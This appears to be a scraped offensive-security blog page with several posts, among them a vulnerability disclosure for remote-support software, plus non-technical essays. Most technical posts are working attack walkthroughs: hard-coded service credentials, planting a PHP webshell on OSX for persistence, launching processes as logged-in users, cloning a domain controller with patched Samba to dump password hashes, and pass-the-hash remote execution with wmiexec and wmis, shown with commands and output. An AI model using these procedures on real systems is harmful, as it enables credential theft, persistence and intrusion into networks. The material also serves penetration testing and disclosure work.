Full Disclosure - SingleClick Connect

Update:

I originally posted this to the Full Disclosure mailing list but for some reason it wasn’t accepted via the moderator so I’m posting it here. First, so that the information does get out there, and second to see if anyone knows why it may have been rejected.

I was helping out a family member with their computer when it came up that they “already had remote help software” (SingleClickConnect or SCC), when I asked what this was, the family member said it was installed by Dell Support when trying to fix their issue. This was in 2008. I removed it, and helped to fix the issue.

In 2010 another issue arose on the new computer (Dell again) of the same family member. Again, calling support first they had installed this software.

Disclaimer: I can not say for certain that it was Dell’s support rep, or even that it was them that installed it, but if Dell is using this as a means of support they should probably cease for the following reasons: Apache (port 40080) listening 0.0.0.0, MySQL (port 17771) listening 127.0.0.1, PHP, and UltraVNC (5900) are installed as a part of the software package.

ISSUE #1

Without decoding the ionCube “copyright protecting” software a large number of XSS, CSRF, and SQLi vulnerabilities were found, all unauthenticated to the web app that runs there.

No specifics are being posted on these vulnerabilities as I assume the site on the net (company’s site), where a registered user would log in are the same as the ones locally hosted (at least the app looks the same and has similar page structure)

ISSUE #2

MySQL’s root password is blank and there are two other default accounts as well allowing easy privilege escalation to SYSTEM (via the SCC local account – see ISSUE #5):

dsl *7E1CA3417E3A159A9188657F44C7034A8E9FDFF2
tera *B2744A6BC5E8B1667BE5AED0111A2B941356E4A4

^ uncracked at this point. For all I know they could be randomized at install

ISSUE #3

Another service listens on 0.0.0.0 via port 17667 that I haven’t been able to identify, however when you connect to the socket, it starts listing users, services, printers and interfaces (and that is without sending any data to it).

$ ncat 172.16.102.149 17667
8�TXPBASELINEXP_BASEP�RAdministratorGuestHelpAssistantSingleClick
AdminSUPPORT_388945a0!aCACAMD PCNET Family PCI Ethernet Adapter -
Packet Scheduler Miniport{47F69AAC-AE9A-40A9-88F5-A246A169CE92}�f�
)�n�����f�f��fDownloadsC:\Documents and Settings\Administrator\My
Documents\DownloadsMicrosoft XPS Document
WriterXPSPortprinter#:2TPVM#:1TPVMACDWindows FirewallMicrosoftCreative
Sound Blaster PCI

ISSUE #4

When UltraVNC is installed, it uses the same password as the one for your ‘registered’ account (just password auth) and listens on 0.0.0.0. It is easily to decrypt from the UltraVNC.ini that is located in %ApplicationData% for the user

ISSUE #5

A local account called “SingleClick Admin” is installed with a static password and added to the Administrators group. 3 services are also installed with the SingleClick Admin account as the user it runs under:

Package d'authentification  : NTLM
Utilisateur principal       : SingleClick Admin
     msv1_0 :     lm{ 7a9793d3082ba83b790ce07b3bdf85ea }, ntlm{ 2c292724d67fcf310d1c4dd153467be8 }
     kerberos :     ~!3no1972!~
     ssp :
     wdigest :     ~!3no1972!~

 8. Name         : _SC_Apache2.2
 8. Service      : .\SingleClick Admin
 8. Current      : ~!3no1972!~

 9. Name         : _SC_dsl-fs-sync
 9. Service      : .\SingleClick Admin
 9. Current      : ~!3no1972!~
 9. Old          : ~!3no1972!~

10. Name         : _SC_hnmsvc
10. Service      : .\SingleClick Admin
10. Current      : ~!3no1972!~

CONCERN #1

As far as I can tell the software continuously scans you local network for other computers and file system for changes and reports these back to the central server so that when you login to their service you can see your files and connect to other systems in the LAN of the machine SingleClickConnect is installed on.

CONCERN #2

The user account password that you use to register and connect remotely is stored in the database. This actually looks decently done, or I just haven’t been able to identify the storage

Database: p2p
Table:    config_info
Value:    “user_hash”

CONCERN #3

Not sure what this registry key contains other than being named Cred4RA and assuming it’s credentials for the remote administration. Hopefully encrypted some how.

[HKEY_LOCAL_MACHINE\SOFTWARE\SingleClick Systems\Advanced Networking
Service\Settings\Remote Access]
"ConfigState"=dword:00000001
"Cred4RA"=hex:01,00,00 (snip snip)

Additional Information

• Software original site: http://www.singleclickconnect.com/
• Current site: http://www.vivedriveconnect.com/
• Direct download of software (for home use): http://downloads.vivedriveconnect.com/scc_setup.exe

Vendor Contact

• Email sent in 2010 July about issues 1 – 5
• No reply, and forgot about until 2013 when the software was mentioned by a friend (if I had ever heard of it)
• 2013 April – Email sent again, forwarding original, bounced back as account unknown
• 2014 August – Accidentally found notes while searching for something else, attempted to relocate the software via Archive.org with the feeling that the site had gone away and happened upon the new site,, downloaded software, confirmed issues, and forwarded the email to the new point of contact at the new domain. No response.
• 2014 September, Full disclosure.
• Dell… If your techs do actually use this software for support (I hope not) in any form or fashion, you are putting each one of them at a pretty high risk.

Read More

OSX Persistence via PHP Webshell

As I learn more and more about OSX I find things that surprise me. For instance, in this post I will be showing you how to, with root or sudo privilege, enable the built-in apache server on OSX and it’s PHP module….

I am working with OSX Mavericks so your locations may vary based on the version of OSX your target it.

First things first is to enable the PHP module for the Apache server.

sudo nano -w /etc/apache2/httpd.conf

(vi or emacs to your heart’s content). But what we are looking for is to uncomment the following line:

#LoadModule php5_module libexec/apache2/libphp5.so

Once you do that, start up Apache. This can be done temporarily (won’t survive a reboot) with the apachectl command:

sudo apachectl start

Or you can make it more permanent with launchctl:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

And undoing the damage with:

sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist

After that, just drop your favorite PHP shell into the /Library/WebServer/Documents/ directory and you’re done. (My favorites are b374k and PHP Meterpreter).

Read More

Milkman: Creating Processes as Any Currently Logged in User

One of the problems with using PSEXEC from Metasploit (any of the psexec modules) is that it runs as SYSTEM. What’s the problem with that? Isn’t SYSTEM god mode? Ya, and normally I’d agree that it’s the best level to have, but the defenses these days have gotten better, and getting direct connections out is pretty rare. That leaves proxies, and as you know SYSTEM doesn’t get any proxy settings.

Here is a blog post that I made about setting the proxies for SYSTEM but leaving settings like this set is not only sloppy but hard to clean up.

Along comes RunAsCurrentUser-2.0.3.1.exe I found this gem by messing up a search on google for RunAsUser. Found it on this IBM support post.

Link to direct download:
http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe

Here is a mirror uploaded to my Post Exploitation repo:
https://github.com/mubix/post-exploitation/blob/master/win32bins/RunAsCurrentUser-2.0.3.1.exe

This binary takes a path to another executable as an argument. It then finds the currently logged in user and starts the provided executable as that user. AWESOME! This basically solves the whole PSEXEC->SYSTEM no-proxy settings issue. And it’s created by a legitimate company for legitimate reasons? w00tw00t. Game on!

Only two problems:

1. It is 335K, which doesn’t seem like much but over high latency lines that can take an eternity to transfer, especially over doubly encrypted channels like with a reverse_https meterpreter session.
2. It takes an argument which normally isn’t a huge challenge, but in our specific use case, psexec modules in Metasploit, it isn’t something we can do easily. You would have to upload your C2 binary, as well as the 335K RunAsCurrentUser over to the target host, then run the psexec_command module to execute them both, one as the argument of the other. Kinda sloppy.

So I set to try and figure out how this binary did it’s magic. As I’m not much of a reverse engineer I uploaded it to VirusTotal so I could take a look at it’s insides (plus, double check to see if it was being detected as malicious at all).

As far as I can tell the important pieces are the Windows API calls ImpersonateLoggedOnUser, and CreateProcessAsUserA. I set to trying to reproduce what it did in AutoIT (awesome stuff if you have never checked it out). I couldn’t quite get the API calls right, so I decided to give C++ a shot. Turned out to be pretty simple. I present to you “Milkman”:

https://gist.github.com/mubix/5d0cacdabfe092922fa3 (full source included below)

This program (once compiled) takes one argument (or none at all) and runs calc.exe for every instance of the process you tell it to. If you run it without arguments it auto selects explorer.exe. So if you create a service:

C:\temp\>sc create SuperService binpath= C:\Temp\milkman.exe type= own start= auto
[SC] CreateService SUCCESS

It will start up every time the computer starts, which is completely useless, since there won’t be any users logged in at that point, but you get where this can go. Features to add to this at point are:

1. Create a service binary that responds to START/STOP/PAUSE commands and such so that running this as a persistence method would actually be useful.
2. Add a loop so that it continues to run checking for explorer.exe every so often so it can catch when someone is logged in.
3. Finally the obvious one is to change it from being calc.exe that it runs by accepting another argument or some other kind of config option.

Thoughts? What would you like Milkman to do, or what use case do you think a tweak would make it work better for? Leave a comment below.

Read More

The Internets Own Boy

Anyone who knows me knows that I live in a tiny world of offensive security, so much so that I miss large world events entirely. (Like elections and hurricanes)

I didn’t know Aaron Swartz, or even 1% of what he was doing in the world to make it a better place and for that I am ashamed. I will do better, to look around, see what needs to be changed in this world and make it a reality.

The following is a Documentary about the life of Aaron Swartz. If you live under a similar rock as I, you can start here: http://en.wikipedia.org/wiki/Aaron_Swartz

Watch, learn, share, and help continue a legacy that Aaron started.

Read More

Why Good Leaders Make You Feel Safe

This talk really touched home with me and I wanted to share it, and not just because he talked about Marines. ;–)

Forward this talk on to your fellow employees, boss, etc.

Read More

Go Home InfoSec, You're Drunk

Let me start off by saying this post is easy for me to write in one facet as I’ve never been a heavy drinker or much enjoyed the taste of alcohol. So if you need a reason to disregard what I say next, I leave the door open.

I am still pretty much a runt in the infosec community as I didn’t even begin learning computers (outside of playing games on them) until 2005. However, one thing that has nagged at me for a long time is the intertwined nature of hacking/infosec and drinking. Its almost a right of passage in the common fraternity style. The problem lies in the fact that you don’t really “graduate” and leave those parties behind.

Now, I have certainly partaken in my share of parties and consumption, even with that nagging feeling in the back of my head. It didn’t really take root until just recently. I was at a conference where a student (who was not 21) that looked very much like an older version of my oldest child said that he was going to skip dinner to go get wasted with XYZ “Infosec Rockstar”.

That scared me into thinking that if my son goes into Infosec he will be basically expected to drink like an alcoholic. How can I want my kid to be expected (not forced) to drink a shot on stage if he gets accepted to speak at DEF CON.

We (the infosec community) are few, and we lose too many to idiotic things like drug overdose, drinking and driving, and other stupidly preventable crap. For that reason I actually don’t want to share the thing I feel so passionate about with my own kids.

My call to action is this:

If you are a conference goer, try going one con completely dry, and if you already do, maybe ask friend to join you.

If you are speaker, enough of the drinks on stage and drinking games. Do you really want the next generation, those you are trying to teach, to remember that part of your talk instead of the rest?

If you are a conference organizer, maybe a completely dry day at the con? or an AA meeting space?

If you are a podcaster, if you drink during the cast, make it about the taste and selection, instead of how wasted and totally useless the next hour of your listeners life will be.

ShmooCon runs an AA meeting at the con

Lets stop losing our friends and family because we are too weak to say ‘no thank you’ when someone approaches the dais with a shot.

Read More

Installing PyCrypto on OSX Mavericks

Keeping it here for notes and just in case anyone else runs into this same issue.

brew install pip
sudo ARCHFLAGS=-Wno-error=unused-command-line-argument-hard-error-in-future pip install pycrypto

If you have a better way please leave a comment below!

Read More

Effective NTLM / SMB Relaying

SMB Relay has been around for a long while. I even have a post about using it along with LNK files here: MS08-068 + MS10-046 = Fun until 2018

Here is the problem though. Most of the tools to exploit it either catch the authentication in NTLMv2/NTLMv1 (which is not always easy to crack) or assume administrative access (because they attempt to PSEXEC with the incoming session). Well, since MS08-068 thats much harder to pin down. You have to know who is going to hit your relay server and what other location they might be an admin on. You also have to a service you want to run on that target.
Current Tools:

• SMBRelay
• SMBRelay3
• SpiderLabs Responder
• SMBRelayX in Impacket
• HTTP NTLM Relay Metasploit Module
• SMB Relay PSExec Metasploit Module
• Oracle SMB Relay Metasploit Module
• SAP SMB Relay Metasploit Module

“Soft” relay tools:

Now, some would argue that you just spin up the relay at a target then leave it until one pops. I’m not really a fan of that. You will not only be creating multiple access attempt log entries, but you are also just throwing away all of those user authentication attempts. There are 3 tools that agree with me.

Squirtle

Squirtle is awesome plus it’s written in a language I understand (ruby) but it has one serious downfall, many of the post-auth features are left up to the user to develop. It does have a great API but needs some coding to get to do certain things.

Intercepter-NG

I have tested Intercepter-NG out a lot and it has some fantastic features, not to mention that it does relaying on a Windows host, which is impressive all by itself (due to 445 default bind). My only problem with it is that it’s closed source. But definitely recommended.

Zack Attack

The 3rd is a tool called “ZackAttack” by Zack Fasel, you can find it here on Github:ZackAttack. You can find the video of the talk releasing this tool on Youtube. So what is so special about this tool? Other than the fact that most of the web interface is broken horribly it has this amazing bit of code that acts as a SOCKS proxy. This SOCKS proxy identifies SMB or HTTP traffic that has NTLM authentication going on and rewrites it based on captured sessions.

What does this mean? If I use SpiderLab’s Responder, for instance, to spoof/get/fake a bunch of users into connecting to my machine via automatic or forced methods to the capture/keep services that ZackAttack spins up, I can then run smbclient or Outlook or Web browser, push it through the ZackAttack SOCKS proxy, pick a username out of the captured names, and use any password I want when asked, and the SOCKS proxy will automatically replace it en route with the valid session information.

This way I can use every authentication that comes in to its highest potential for pwnage. The video below shows how this can be used to connect to a “Network share”

Update: One thing to mention that ZackAttack does that I haven’t seen other tools do, even Squirtle or Intercepter-NG is getting 3+ successful authentications out of a single relay from a user. ZackAttack does this with some clever HTTP Keep-Alive and SMB “reauth” kung fu.

Other References:

• 2014-02 SpiderLabs – Responder 2.0 Owning Windows Networks Part 3
• 2014-01 NetSPI Blog – SMB Attacks Through Directory Traversal
• 2013-06 Ares – SMB Hijacking Kerberos is defeated
• 2013-04 SANS Pentesting Blog – SMB Relay Demystified and NTLMv2 Pwnage with Python
• 2013-01 Core Security Training Video – How To Perform a SMB Relay Attack
• 2013-01 Mark Gamache – NTLM Challenge Response is 100% Broken
• 2012-12 NetSPI Blog – Executing SMB Relay Attacks via SQL Server using Metasploit
• 2012-07 WebstersProdigy – Metasploit Generic NTLM Relay Module
• 2012-04 Ares – Actuality of SMBRelay in Modern Windows Networks
• 2011-01 Digital Security Research Group Blog – SMBRelay Bible
• 2009-07 Carnal0wnage – Metasploit Oracle TNSCMD SMBRelay Demo
• 2008-11 Ron Bowes – Preventing SMB Relay Attacks
• 2008-08 Kurt Grutzmacher at DEF CON 16 – NTLM is Dead!
• 2008-06 John Heasman – Stealing Password Hashes with Java and IE
• 2008-04 Eric Rachner: NTLM Relay Attacks – Released tool ‘scurvy’
• 2007-08 HD Moore and Valsmith – Tactical Exploitation
• 2004-12 (ARCHIVE.ORG) Jesse Burns at SySCAN – NTLM Authentication Unsafe
• 2002-01 Azbil SecurityFriday Ltd – ScoopLM
• 2001-03 @lantaCon – Reference from March 31 2001 talk

I tried finding all the original/semi original references about SMB (LM/NTLM) Relaying. If you have others please leave a comment below so I can add them to the list.

Read More

CCDC Red Teamer's Creed

This is my box. There are many like it, but they are all mine.

My malware is my best friend. It is my life. I must master it as I must master my life.

My malware, without me, is useless. Without my malware, I am useless. I must drop my malware true. I must rootkit better than my enemy who is trying to kill my binary. I must kit him before he kits me. I will…

My malware and I know that what counts in this war is not the boxes we pop, the noise of our root dance, nor the cheers coming from the Red Team room. We know that it is the root that count. We will root…

My malware is human, even as I, because it is my life. Thus, I will learn it as a brother. I will learn its weaknesses, its strength, its parts, its extensions, its dlls and its exes. I will keep my malware av free and ready, even as I am ready. We will become part of each other. We will…

Before God, I swear this creed. My malware and I are the defenders of my botnet. We are the masters of our enemy. We are the saviors of my shells.

So be it, until victory is the Red Team’s and there is no enemy, but peace!

Read More

Dumping NTDS.dit Domain Hashes Using Samba

So there was this blog post that talking about a number of ways to dump windows credentials by @lanjelot [definitly someone to follow] – here: https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/ and at the very bottom of this post it says “AD Replication (EXPERIMENTAL)”

What it boils down to is if you can position a system that can do DNS resolution to the target domain, and perform some other UDP traffic, you can fake join a samba server you control to a domain and it doesn’t require code execution in any way on the domain controller.

Notice: I am not doing this on a Kali Linux box, there is already an install of Samba there and I didn’t want to try uninstalling or modifying the one installed.

First, you need this patch:

wget http://files.securusglobal.com/samba-4.1.0_replication-only-patch.txt

and Samba 4.1.0

wget http://ftp.samba.org/pub/samba/stable/samba-4.1.0.tar.gz

You will probably also require some dependencies to be installed:

apt-get install python2.7-dev python-samba libacl1-dev build-essential libldap2-dev libkrb5-dev attr

Since the patch is kinda wonky, you need to make a src directory and extract samba into there first. Then apply the patch in whatever directory is above src

mkdir src
mv samba-4.1.0.tar.gz src/
cd src/
tar zxvf samba-4.1.0.tar.gz
cd /root/

So it would look like this:

samba-4.1.0_replication-only-patch.txt
src/
src/samba-4.1.0/

then run patch -p0 < samba-4.1.0_replication-only-patch.txt

cd ./src/samba-4.1.0/
./configure
make
make install

Prepare the box:

rm -rf /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf

Next you need to make sure you are resolving correctly (if you can’t resolve the SRV record _ldap._tcp.sittingduck.info (sittingduck.info being the domain) then this isn’t going to work.

echo nameserver 192.168.92.37 > /etc/resolv.conf

"192.168.92.37" being the IP address of the DC

Then start the clone:

/usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator

Looks like this:

root@sambabox:~/src/samba-4.1.0# /usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator
Finding a writeable DC for domain 'sittingduck.info'
Found DC 2K8DC.sittingduck.info
Password for [SITTINGDUCK\administrator]:
workgroup is SITTINGDUCK
realm is sittingduck.info
Calling bare provision
No IPv6 address will be assigned
Provision OK for domain DN DC=sittingduck,DC=info
Starting replication
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1521] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1614] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=sittingduck,DC=info] objects[100] linked_values[24]
Partition[DC=sittingduck,DC=info] objects[353] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
descriptor_sd_propagation_recursive: DC=DomainDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
descriptor_sd_propagation_recursive: DC=ForestDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
Joined domain SITTINGDUCK (SID S-1-5-21-3147519476-3247671789-820278723) as a DC

Then to get the hashes:

root@sambabox:~# /usr/local/samba/bin/pdbedit -L -w
2K8DC$:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:CB14F1166BBE1749AC0FB40240C5DC30:[S]:LCT-530FC425:
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[U]:LCT-531006A4:
krbtgt:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:F2EE6AB6F40810169E0E46B126CEFBEF:[DU]:LCT-530FC3FF:
nobody:65534:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:[U]:LCT-00000000:
jdoe:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX]:LCT-530FC5FF:
uber:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX]:LCT-53101261:

Or you can do it with history:

root@sambabox:~# python samba-pwdump.py /usr/local/samba/private/sam.ldb.d/DC\=SITTINGDUCK\,DC\=INFO.ldb -history
SAMBACLONE$:1104:::::
2K8DC$:1000::cb14f1166bbe1749ac0fb40240c5dc30:::
Administrator:500::88e4d9fabaecf3dec18dd80905521b29:::
krbtgt:502::f2ee6ab6f40810169e0e46b126cefbef:::
Guest:501:::::
jdoe:1103::88e4d9fabaecf3dec18dd80905521b29:::
uber:1105::88e4d9fabaecf3dec18dd80905521b29:::
uber_history0:1105:444d1edcad01ae08f49f073e12e8cc14:88e4d9fabaecf3dec18dd80905521b29:::

Game over. The great thing is that it never actually shows up as a joined box in the domain, and as far as I can tell the only log on the real DC is the login success of a domain admin. Plus one of the huge benefits to this method is that once you have the database Samba makes it really easy to query information like group membership or users info after the fact, not just hashes.

Read More

Executing Code via SMB / DCOM Without PSEXEC

PSEXEC has been a staple for Windows post exploitation pivoting and system administration for a long while. The basic premise of how all “psexec” tools work is:

1. (Optional) Upload a service executable (PSEXECSVC.EXE in the case of SysInternal’s tool) to the ADMIN$ share
2. Connect to the service manager on the remote host, and create a service based on either a local (to the remote system) executable or the uploaded one.
3. Run the service
4. Stop and delete the service and uploaded file pulling down the resulting output if any from the execution.

Now, as you can guess, the uploading of a file, creating, starting, stopping, and deletion of services create quite the logs and forensic evidence.

As you might imagine, thats not the best thing for us on the offensive side of infosec. Luckily big brother Microsoft provides another option, WMI (Windows Management Interface). I demonstrated the use of this in the past: HERE and HERE

The downside to using the WMIC directly is that you need a valid token or a valid password for it to work. Passing the hash didn’t used to be an available option.

That has changed with the “wmis” package on Kali Linux that incorporates the “Pass-the-Hash for 15 years toolkit”

(There is a slight problem where you have to play with it a bit to get it working on 64 bit Kali)

The other solution is supplied as an example in the Impacket library “wmiexec.py”. In my experience there are a few features that make it the better option.

1. Installing it on a random VPS is dead simple and doesn’t need the Kali repos to get right, nor Debian/Ubuntu.
2. It defaults to an “semi-interactive shell” which writes and reads output from the ADMIN$ shell by default. Something I would normally have to do manually with a bunch of tools
3. As with the WMIS package, it allows you to just create a process without the ADMIN$ write/read.

Enough crazy talk here is an example usage of each:

WMIS

Usage:

root@wpad:~# wmis
Usage: [-?NPV] [-?|--help] [--usage] [-d|--debuglevel=DEBUGLEVEL] [--debug-stderr] [-s|--configfile=CONFIGFILE]
        [--option=name=value] [-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full]
        [-R|--name-resolve=NAME-RESOLVE-ORDER] [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME]
        [-W|--workgroup=WORKGROUP] [--realm=REALM] [-i|--scope=SCOPE] [-m|--maxprotocol=MAXPROTOCOL]
        [-U|--user=[DOMAIN\]USERNAME[%PASSWORD]] [-N|--no-pass] [--password=STRING] [-A|--authentication-file=FILE]
        [-S|--signing=on|off|required] [-P|--machine-pass] [--simple-bind-dn=STRING] [-k|--kerberos=STRING]
        [--use-security-mechanisms=STRING] [-V|--version]
        //host

Example:

wmis -U [domain/]adminuser%password //host cmd.exe /c dir c:\ > c:\windows\temp\output.txt 

Example:

root@wpad:~# wmis -U administrator%aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 //172.16.102.141 calc.exe
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
[wmi/wmis.c:172:main()] 1: calc.exe
NTSTATUS: NT_STATUS_OK - Success

WMIEXEC.PY

Using a password, but with hashes you just tell it -hashes :

Usage:

root@wpad:~/impacket/examples# ./wmiexec.py 
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-hashes LMHASH:NTHASH]
                  target [command [command ...]]

positional arguments:
  target                [domain/][username[:password]@]<address>
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell

optional arguments:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default
                        C$)
  -nooutput             whether or not to print the output (no SMB connection
                        created)

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

Example:

root@wpad:~/impacket/examples# ./wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 administrator@172.16.102.141
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 5CCA-B528

 Directory of C:\

07/13/2009  11:20 PM    <DIR>          PerfLogs
10/07/2013  03:26 PM    <DIR>          Program Files
07/14/2009  01:08 AM    <DIR>          Program Files (x86)
04/25/2014  02:21 AM    <DIR>          Users
05/11/2014  03:39 PM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  52,884,389,888 bytes free

C:\>

Read More

Iterative DNS Brute Forcing

Everyone has their list of hostnames they brute force domains with. In my last post I even mentioned a few ways to use one with XARGS or PARALLEL. But one fact about wordlist brute forcing is that there is no “one list to rule them all”. But over the years of doing DNS record collection I have noticed one thing, most domains have a large number of short hostnames that are easy to remember, usually 4 characters or less.

I’m sure you already know where I’m going with this, I wanted to brute force all possible hostnames up to 4 characters. For a long time I struggled with coding this, but couldn’t wrap my head around it. I would come back to it every so often, finally a few days ago I happened upon a script on gist: https://gist.github.com/petehamilton/4755855 that suited my needs perfectly.

I modified it to suite my needs (just use the yield method) and here is what I ended up with (remember DNS is case insensitive):

Notice: This script doesn’t end, it will keep doing lookups on longer and longer hostnames until you hit CTRL-C

#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

@domain = 'microsoft.com'

def result?(sub)
  results = %x(dig +noall #{sub}.#{@domain} +answer)
  if results != ""
      puts "============================"
      puts "FOUND: \t#{sub}"
      puts "============================"
      puts "#{results}"
      puts "============================"
  end
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

This worked but it was slow, so I sped it up using methods that I talked about in my last post and a quick modification:

I used this:

#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

def result?(sub)
  puts sub    
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

which just prints all the possibilities:

a
b
c
d
e
f
...

and piped it into parallel + dig:

ruby brutelist.rb | parallel -j100 dig +noall {}.microsoft.com +answer

and got the following:

c.microsoft.com. 2   IN  CNAME   c.microsoft.akadns.net.
c.microsoft.akadns.net.   499 IN  A   65.55.58.184
e.microsoft.com.  3599    IN  A   191.234.1.50
g.microsoft.com.  2798    IN  CNAME   g.msn.com.
g.msn.com.        99  IN  CNAME   g.msn.com.nsatc.net.
g.msn.com.nsatc.net.  148 IN  A   131.253.34.154
i.microsoft.com.  779 IN  CNAME   i.toggle.www.ms.akadns.net.
i.toggle.www.ms.akadns.net. 44    IN  CNAME   i.g.www.ms.akadns.net.
i.g.www.ms.akadns.net.    225 IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 116 IN CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   16  IN  A   23.45.65.26
a1475.g.akamai.net.   16  IN  A   23.45.65.33
m.microsoft.com.  3599    IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 299 IN   A   65.55.186.235
s.microsoft.com.  3599    IN  CNAME   reroute.microsoft.com.
reroute.microsoft.com.    3599    IN  A   65.55.58.201
reroute.microsoft.com.    3599    IN  A   64.4.11.37
cs.microsoft.com. 81  IN  CNAME   wedcs.trafficmanager.net.
wedcs.trafficmanager.net. 7   IN  CNAME   wedcseus.cloudapp.net.
wedcseus.cloudapp.net.    8   IN  A   137.116.48.250
...

Happy bruting. Both scripts can be found on my gists page:

• Domain version: https://gist.github.com/mubix/9107284
• Parallel version: https://gist.github.com/mubix/9107276

Read More